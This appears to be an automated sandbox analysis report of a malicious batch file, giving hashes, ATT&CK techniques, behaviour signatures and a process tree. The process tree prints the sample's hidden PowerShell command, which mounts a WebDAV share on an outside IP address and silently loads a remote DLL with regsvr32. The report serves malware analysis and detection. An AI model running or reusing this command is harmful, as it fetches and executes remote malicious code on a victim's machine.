cd85e28a22eace3fcd86a7a66a694ab3c457cdcdc9422a5b924e3bdcea3d874b

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 17:10

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General

Target

88426550348524148.bat
Size

20KB
MD5

6253bc5804b8f0285c15ba037a1a43e5
SHA1

0580814e38ab369075789c11baba481e857373cc
SHA256

cd85e28a22eace3fcd86a7a66a694ab3c457cdcdc9422a5b924e3bdcea3d874b
SHA512

a10dda06ba363948aac5a468776cc65441d70f9f5e0fead846cdef5b901040cf9d0b206fb35e69cbd40fb0ef1e437dac36e2d0665a48d9496327b4a320526486
SSDEEP

384:p0IVUvUqPUJkvYsVSajlus2H5PvgVNv62xy+mNoG6da6CYNQpnZ/gBwD+dE:pLYUqPsYVxjgJNv893xHSoRdpJNwZ4yx

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3664	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3664	powershell.exe
3664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3664	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3564	wordpad.exe
3564	wordpad.exe
3564	wordpad.exe
3564	wordpad.exe
3564	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 3564	2556	cmd.exe	85
PID 2556 wrote to memory of 3564	2556	cmd.exe	85
PID 2556 wrote to memory of 3664	2556	cmd.exe	87
PID 2556 wrote to memory of 3664	2556	cmd.exe	87
PID 3664 wrote to memory of 380	3664	powershell.exe	90
PID 3664 wrote to memory of 380	3664	powershell.exe	90
PID 3664 wrote to memory of 2256	3664	powershell.exe	91
PID 3664 wrote to memory of 2256	3664	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\88426550348524148.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\303632922821244.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:380
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\303632922821244.dll
    3⤵
    PID:2256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d5qccpoe.2xo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3664-9-0x000002ADEF790000-0x000002ADEF7B2000-memory.dmp

Filesize
136KB

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